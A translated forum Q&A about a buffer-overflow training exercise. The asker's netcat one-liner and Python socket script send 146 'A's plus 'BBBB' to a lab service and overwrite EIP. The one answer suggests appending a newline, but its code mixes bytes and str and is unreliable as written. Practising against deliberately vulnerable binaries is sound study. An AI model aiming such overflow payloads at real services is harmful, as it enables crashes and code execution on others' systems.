用python套接字发送数据和netcat不一样--缓冲区溢出。

问题描述 投票:0回答:1

我正在尝试使用dostackbufferoverflowgood.exe练习缓冲区溢出,遇到了一个问题。

在使用netcat发送5000个A的时候,通过使用命令 echo `python3 -c "print('A'*146 + 'BBBB')"` | nc 192.168.1.237 31337 程序崩溃了,EIP的值是42424242,所以很好。

当尝试用python脚本做同样的事情时,什么都没有发生,我试着调试了一下,包括用python2,wiresharking,但在客户端和服务器上似乎都是一样的,只是服务器没有回复,这很奇怪,但它是回复到nc的,所以一定是python脚本的问题。

python脚本。

import socket
server = '192.168.1.237'
port = 31337

data = b'A'*146 + b'B'*4 
print(len(data))
print(data)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    print(f'trying to connect to {server}')
    s.connect((server,port))
    s.send(data)
    print('data was sent')

    data = s.recv(1024)
    print(data)

同样的,当捕获wireshark时,所有的东西似乎都是一样的,所以我不知道为什么会发生这种情况。

如果有人遇到类似的情况,将感激任何帮助,谢谢!

python sockets buffer-overflow netcat
1个回答
0
投票

我认为你应该把 '\n\r' 在数据的最后。

代码应该是这样的。

s.send(data +'\n\r')
© www.soinside.com 2019 - 2024. All rights reserved.